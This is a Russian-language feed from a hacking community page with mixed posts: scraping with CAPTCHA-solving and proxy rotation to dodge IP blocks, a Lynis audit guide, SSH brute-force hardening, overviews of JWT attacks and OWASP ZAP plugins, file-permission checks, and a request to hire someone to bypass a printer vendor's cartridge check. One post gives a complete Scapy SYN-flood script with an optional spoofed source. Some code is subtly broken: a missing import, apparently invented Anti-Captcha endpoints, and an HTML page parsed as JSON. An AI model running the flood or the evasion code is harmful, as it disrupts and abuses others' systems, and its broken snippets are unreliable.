Сообщество - Life-Hack [Жизнь-Взлом]/Хакинг

Life-Hack [Жизнь-Взлом]/Хакинг

274 поста 2 805 подписчиков

Популярные теги в сообществе:

Продвинутые методы веб-скрейпинга с помощью Python

1. Скраппинг динамических сайтов

Одним из популярных инструментов является Selenium.

Selenium – это библиотека Python, которая позволяет управлять веб-браузером из кода.

Пример:

from selenium import webdriver

from bs4 import BeautifulSoup

driver = webdriver.Firefox()

driver.get('https://www.example.com')

# Wait for the JavaScript to load

time.sleep(5)

# Get the page source

soup = BeautifulSoup(driver.page_source, 'html.parser')

# Extract the data

table = soup.find('table', attrs={'id':'dynamic-table'})

data = []

for row in table.find_all('tr'):

data.append([cell.text for cell in row.find_all('td')])

# Close the browser

driver.quit()

2. Работа с CAPTCHA и IP-блокировками

Существует ряд инструментов, которые могут помочь вам решить CAPTCHA.

Одним из популярных инструментов является Anti-Captcha.

Anti-Captcha – это сервис, который предлагает решение CAPTCHA с помощью человека. Это означает, что вы можете отправить CAPTCHA в Anti-Captcha, и они попросят человека решить ее за вас.

Пример:

import requests

url = 'https://anti-captcha.com/api/create'

data = {

'type': 'image',

'phrase': captcha_text

}

response = requests.post(url, data=data)

captcha_id = response.json()['captchaId']

url = 'https://anti-captcha.com/api/solve'

data = {

'captchaId': captcha_id

}

response = requests.post(url, data=data)

solution = response.json()['solution']

Существует несколько способов изменить свой IP-адрес. Одним из популярных способов является использование прокси-сервиса.

Прокси-сервис – это сервер, который выступает в качестве посредника между вашим компьютером и сайтом, с которого вы собираете информацию. Это означает, что сайт будет видеть IP-адрес прокси-сервера, а не ваш собственный IP-адрес.

Пример:

import requests

import random

def get_proxy():

"""Gets a proxy from the proxy scrape service."""

response = requests.get('https://www.proxyscrape.com/')

data = response.json()

proxy = random.choice(data['results'])['ip'] + ':' + data['results'][0]['port']

return proxy

def scrape_website(proxy):

"""Scrape the website using the proxy."""

response = requests.get(url, proxies={'http': proxy, 'https': proxy})

soup = BeautifulSoup(response.text, 'html.parser')

data = []

for row in soup.find_all('tr'):

data.append([cell.text for cell in row.find_all('td')])

return data

if __name__ == '__main__':

proxy = get_proxy()

data = scrape_website(proxy)

print(data)

# Rotate the proxy

proxy = get_proxy()

data = scrape_website(proxy)

print(data)

Главный цикл будет многократно вызывать функции get_proxy() и scrape_website(), каждый раз поворачивая прокси. Это поможет предотвратить блокировку веб-сайта по вашему IP-адресу.

Для выполнения этого кода вам потребуется установить следующие библиотеки Python:

- requests

- BeautifulSoup4

Вы можете установить эти библиотеки с помощью следующей команды:

pip install requests BeautifulSoup4

Сохраняй пост себе, чтобы не потерять.

Мы в телеграме!

Показать полностью
112

Использование Lynis для проверки защищенности Linux

▪ Установка Lynis на Linux

Lynis надежно проверяет соответствие системы рекомендациям CIS. Этот инструмент также применим в пентестировании, но в данной статье мы рассмотрим его как средство для проверки безопасности Linux. Помимо Linux, Lynis работает также на операционных системах AIX, FreeBSD, HP-UX, Mac OS, NetBSD, OpenBSD, Solaris и даже Raspberry Pi.

Для установки Lynis, выполните команду:

root@debian:~/# sudo apt-get install lynis

▪  Использование Lynis для проверки защищенности Linux

Ознакомитесь с основными параметрами Lynis:

✔️--auditor "имя" — присвоить аудиту имя.

✔️--checkall -c — начать проверку.

✔️--check-update — проверить актуальность Lynis.

✔️--cronjob — запустить Lynis как cronjob (включает -c -Q).

✔️--help — отобразить справку.

✔️--nocolors — не использовать цвета.

✔️--pentest — выполнить тестирование на проникновение (без привилегий).

✔️--quick — не ждать ввода данных пользователем, за исключением ошибок.

✔️--quiet — показать только предупреждения (включает —quick, но не ждет).

✔️--reverse-colors — использовать другую цветовую схему для светлого фона.

✔️--version — проверить версию программы (и выйти).

Затем запустите Lynis с помощью команды sudo. Чтобы запустить аудит, вы должны иметь права на запись в /tmp (временные файлы).

root@debian:~/# sudo lynis audit system

...

Lynis security scan details:

Hardening index : 84 [############## ]

Tests performed : 260

Plugins enabled : 1

Components:

- Firewall  [V]

- Malware scanner  [V]

Scan mode:

Normal [V] Forensics [ ] Integration [ ] Pentest [ ]

Lynis modules:

- Compliance status  [?]

- Security audit  [V]

- Vulnerability scan [V]

Files:

- Test and debug information : /var/log/lynis.log

- Report data  : /var/log/lynis-report.dat

▪ Использование профилей Lynis

Lynis позволяет использовать профили, чтобы иметь набор предопределенных параметров для каждой операционной системы.

Если вы не укажете профиль --profile имя_профиля, будет использоваться профиль по умолчанию (default.prf). Рекомендуется скопировать файл default.prf и настроить его под свои нужды.

Мы в телеграме!

Показать полностью
60

Защита от Брутфорса SSH в Linux

Сетевая видимость — повод для атак. Проблемой является перебор паролей, в том числе и для SSH.

Защититься от этого можно по-разному:

1) Используя возможности настройки демона SSH

2) Пакетный фильтр

3) Специальные приложения

4) Port knocking

▪Измените 22-й порт на 2002-й, если это возможно. Вносим запись в /etc/ssh/sshd_config:

Port 2002

▪В случаях, когда невозможно изменить порт, можно ограничить доступ к SSH определенными пользователями или группами. Это можно сделать с помощью параметров AllowUsers, AllowGroups, DenyUsers и DenyGroups в файле sshd_config. Логину также можно указать IP или подсеть. Например, можно разрешить доступ пользователю admin и user, при этом последний может подключаться только с одного IP.

AllowUsers admin user@192.168.0.1

▪Еще один действенный вариант защиты от перебора – использование для аутентификации сертификатов.

Например, запретим вход по SSH по паролю для пользователя root, разрешив всем остальным:

# всем разрешаем доступ по паролю

PasswordAuthentication yes

# root будет использовать только сертификат

match user root

PasswordAuthentication no

KbdInteractiveAuthentication no

▪Используя TCP Wrapper, также можем ограничить доступ к любому сервису только с определенных IP, для этого следует лишь прописать в файл /etc/hosts.allow или /etc/hosts.deny нужное правило. Разрешим в /etc/hosts.allow доступ только с нужной подсети:

sshd : 192.168.1.0/24 : allow

Или в /etc/hosts.deny:

sshd : ALL : deny

sshd : ALL EXCEPT 192.168.1.0/24 : allow

▪Пакетный фильтр позволяет очень точно задавать параметры соединений, отбрасывая ненужные пакеты. С его помощью легко ограничить доступ к 22-му порту только определенным адресам. Пример:

iptables -A INPUT -s !192.168.0.1 -p tcp -m tcp --dport 22 ↵

-j REJECT —reject-with icmp-port-unreachable

▪Fail2ban и Sshguard - специальные утилиты, которые помогают защитить систему от подозрительных действий. Эти программы фильтруют пакеты по портам и IP-адресам и блокируют подозрительные IP-адреса, используя iptables или TCP Wrapper.

Fail2ban был создан для защиты SSH, но сейчас он может быть настроен для использования с различными приложениями. Принцип работы очень прост - демон периодически проверяет журналы на наличие записей о подозрительной активности и блокирует подозрительные IP-адреса.

По умолчанию Fail2ban защищает только SSH, но может быть настроен для контроля нескольких сервисов одновременно. Все события отображаются в журнале fail2ban.log и могут быть отправлены по электронной почте.

В Ubuntu и Debian устанавливается командой:

$ sudo apt-get install fail2ban

▪Все настройки производятся в нескольких файлах, размещенных в каталоге /etc/fail2ban. В fail2ban.conf хранятся параметры запуска самого демона, в jail.conf описываются контролируемые сервисы (внутри секции SSH).

[ssh]

enabled = true

port = 22

filter = sshd

logpath = /var/log/auth.log

maxretry = 3

▪Фильтры и действия настраиваются в файлах в подкаталогах filter.d и action.d. Файлы по умолчанию имеют расширение .conf и их лучше не изменять, включая jail.conf. Лучше все изменения делать в файле с расширением .local (например, jail.local), который переопределяет настройки из первого файла и сохраняет их при обновлении. Для проверки работы фильтра можно использовать утилиту fail2ban-regex.

Мы в телеграме!

Показать полностью

JWT-атаки

JSON Web Token – это открытый стандарт (RFC 7519), который определяет компактный и автономный способ безопасной передачи информации между сторонами в виде объекта JSON.

Распространенные атаки, связанные с JWT:

▪Внедрение токена (Token Injection): Злоумышленник может попытаться модифицировать содержимое токена или внедрить свои данные, чтобы расширить свои привилегии или изменить свои права доступа.

▪ Подделка токена (Token Forgery): Злоумышленник может предпринять попытку создания или подделки JWT-токена с целью получить несанкционированный доступ к приложению или его ресурсам.

▪ Перебор токенов (Token Enumeration): Если приложение предоставляет разные ответы или ошибки для существующих и неверных токенов.

▪Атака брутфорсом подписи (Signature Brute-Force) - JWT-токены зачастую защищены цифровой подписью, которая гарантирует их подлинность. Однако, если использованы слабые алгоритмы подписи или слишком короткие ключи, можно обнаружить уязвимость подписи к брутфорсу. Злоумышленник может попытаться перебрать все возможные комбинации ключей для создания поддельного токена.

Инструменты для автоматизации JWT-атаки:

jwtXploiter — это Python-инструмент, предназначенный для автоматизации взлома JWT. Он позволяет проверить соответствие всех известных CVE для JWT и поддерживает различные виды атак на JWT, начиная от простого взлома и до выполнения атак с использованием самозаверяющих токенов!

JSON Web Tokens - это дополнение для Burpsuite, которое автоматизирует распространенные атаки на JWT. Кроме того, оно позволяет быстро выполнять кодирование / декодирование и проверку токенов.

JWT Tool - это широко используемый инструмент на языке Python, который позволяет производить проверку всех возможных атак, которые могут уязвимо существовать в веб-приложении.

JWT Editor - это дополнение для Burpsuite, которое обеспечивает возможность удобно изменять JWT-токены и быстро проверять различные методы обхода. JWT Editor предлагается в двух вариантах: бесплатной версии и платной версии Pro.

Методы защиты от JWT-атак:

✔️Установить временные ограничения действия токенов и использовать механизмы обновления или повторной аутентификации при необходимости.

✔️Сохранять ключи для подписи и шифрования токенов в надежном хранилище.

✔️Применять надежные алгоритмы шифрования и подписи, такие как HMAC-SHA256 или RSA.

✔️Регулярно обновлять и повышать безопасность ключей и алгоритмов.

✔️Использовать защищенное соединение (HTTPS) при передаче JWT-токенов.

✔️Избегать передачи конфиденциальной информации напрямую в токенах.

Информация предоставлена исключительно для ознакомительных целей!

Мы в телеграме!

Показать полностью

Небольшая подборка плагинов для OWASP ZAP

Access Control Testing

Позволяет проводить тестирование контроля доступа и выявлять потенциальные проблемы с контролем доступа.

Advanced SQLInjection Add-on

Инструмент активного сканирования для обнаружения SQLi (на основе SQLMap).

Attack Surface Detector

Плагин помогает выявить конечные точки веб-приложения, параметры, которые принимают эти конечные точки, и тип данных этих параметров.

DOM XSS Active Scan Rule

Активный сканер для обнаружения уязвимостей DOM XSS.

Directory List v2.3

Предоставляет файлы с именами каталогов для брутфорса или фаззинга.

Eval Villain

Расширение для ZAP и Firefox, которое будет подключаться к опасным функциям, таким как eval, и предупреждать вас об их использовании.

GraphQL Support

Плагин для получения структуры и запросов GraphQL.

Out-of-band Application Security Testing Support

Сервер OAST для обнаружения внешних и слепых уязвимостей. Аналог Burp Collaborator, только для ZAP.

HUNT v2

Выполняет пассивное сканирование на наличие потенциально уязвимых параметров.

Community-scripts

Большая коллекция скриптов ZAP предоставленная комьюнити

Информация предоставлена исключительно для ознакомительных целей!

Мы в телеграме!

Показать полностью

Как осуществить атаку SYN Flooding в Python

В этой статье будет реализована атака SYN flood с использованием библиотеки Scapy в Python.

▪Необходимо установить Scapy:

pip3 install scapy

▪Откройте новый файл Python и импортируйте Scapy:

from scapy.all import *

▪Проверить на своем локальном маршрутизаторе, который имеет частный IP-адрес 192.168.1.1:

# target IP address (should be a testing router/firewall)

target_ip = "192.168.1.1"

# the target port u want to flood

target_port = 80

▪Целевым портом является HTTP, так как я хочу залить веб-интерфейс моего маршрутизатора. Теперь давайте подделаем наш SYN-пакет, начиная с IP-уровня:

# forge IP packet with target ip as the destination IP address

ip = IP(dst=target_ip)

# or if you want to perform IP Spoofing (will work as well)

# ip = IP(src=RandIP("192.168.1.1/24"), dst=target_ip)

Мы указали dst в качестве целевого IP-адреса, мы также можем установить src-адрес на поддельный случайный IP-адрес в диапазоне частной сети (закомментированный код), и он также будет работать.

▪Давайте подделаем наш TCP уровень:

# forge a TCP SYN packet with a random source port

# and the target port as the destination port

tcp = TCP(sport=RandShort(), dport=target_port, flags="S")

Итак, мы устанавливаем порт источника (sport) на случайное короткое значение (которое варьируется от 1 до 65535, как и порты) и dport (порт назначения) в качестве целевого порта. В данном случае это служба HTTP.

Мы также установили флаги на “S”, что указывает на тип SYN.

▪Теперь давайте добавим немного исходных данных для флуда, чтобы занять сеть:

# add some flooding data (1KB in this case)

raw = Raw(b"X"*1024)

Отлично!

▪Теперь сложим слои и отправим пакет:

# stack up the layers

p = ip / tcp / raw

# send the constructed packet in a loop until CTRL+C is detected

send(p, loop=1, verbose=0)

Итак, мы использовали функцию send(), которая отправляет пакеты на уровне 3, мы установили loop на 1, чтобы продолжать отправку до нажатия CTRL+C, установив verbose на 0, мы не будем ничего печатать во время процесса.

Информация предоставлена исключительно для ознакомительных целей!

Мы в телеграме!

Показать полностью
46

Поиск нежелательных прав доступа к файлам Kali Linux

Ниже приведен список полезных команд, которые вы можете использовать для выполнения этой важной задачи.

Найти все файлы, доступные для чтения другим пользователям

Показать все файлы в текущем каталоге, доступные для чтения другим пользователям. Многие из этих файлов расположены в скрытых каталогах. Однако, если в этом списке появляются какие-либо конфиденциальные файлы (например, ключи SSH), необходимо изменить разрешения, чтобы обеспечить конфиденциальность данных:

find . -perm /004 -type f -print0 | xargs -0 ls -l

Найти все файлы с доступом для других пользователей

Следующая команда отобразит все файлы в домашнем каталоге, которые имеют права на чтение, запись или выполнение для других. Это полезно для получения общего представления о том, к чему могут получить доступ другие пользователи в вашем домашнем каталоге, и применения любых ограничительных действий, если это необходимо:

find ~ -perm /007 -type f -print0 | xargs -0 ls -l

Найти все файлы, доступные для записи другим пользователям

Все файлы в этом списке должны быть тщательно проанализированы, чтобы определить, должны ли они быть доступны для записи другим пользователям. В противном случае необходимо изменить разрешения:

find /{название_директории} -perm /002 -type f -print0 | xargs -0 ls -l

Найти все файлы, исполняемые пользователем или группой и доступные для записи другим пользователям

Если вы нашли файл, который может быть запущен другим, вы должны проанализировать, существует ли допустимое исключение для такого поведения. В противном случае необходимо немедленно изменить права доступа к файлам, чтобы предотвратить какое-либо влияние на целостность и доступность файлов:

find ~ -perm -102 -type f -print0 | xargs -0 ls -l # User

find ~ -perm -012 -type f -print0 | xargs -0 ls -l # Group

Найти все файлы, не принадлежащие определенной группе

Показать все файлы в текущем рабочем каталоге, которые не принадлежат указанной группе:

find . -not -group {название_группы} -type f -print0 | xargs -0 ls -l

Найти все файлы, принадлежащие определенной группе

Показать все файлы в вашем домашнем каталоге, принадлежащие указанной группе:

find ~ -group {название_группы} -type f -print0 | xargs -0 ls -l

Информация предоставлена исключительно для ознакомительных целей!

Мы в телеграме!

Показать полностью
1

Ищу хакера

По работе возникает необходимость печати чертежей на плоттерах HP DesignJet T520. К этим плоттерам на сайте HP есть бесплатная программа HP Click, которая очень сильно экономит бумагу при печати нестандартных форматов (например параллельно размещает чертежи на рулоне, если они узкие). Можно закинуть сразу кучу файлов, изменить формат, если он не указан и т.п. Очень удобная. Но у нее есть ограничение - она не работает, если в плоттере стоят неоригинальные или перезаправленные картриджи. По понятным причинам это условие соблюдать всё сложнее.
В связи с этим ищу хакера, который мог бы за разумную плату обойти это ограничение.
Ну или может есть какие-то другие альтернативные программы для тех же целей. Печатаем в основном из PDF.

Отличная работа, все прочитано!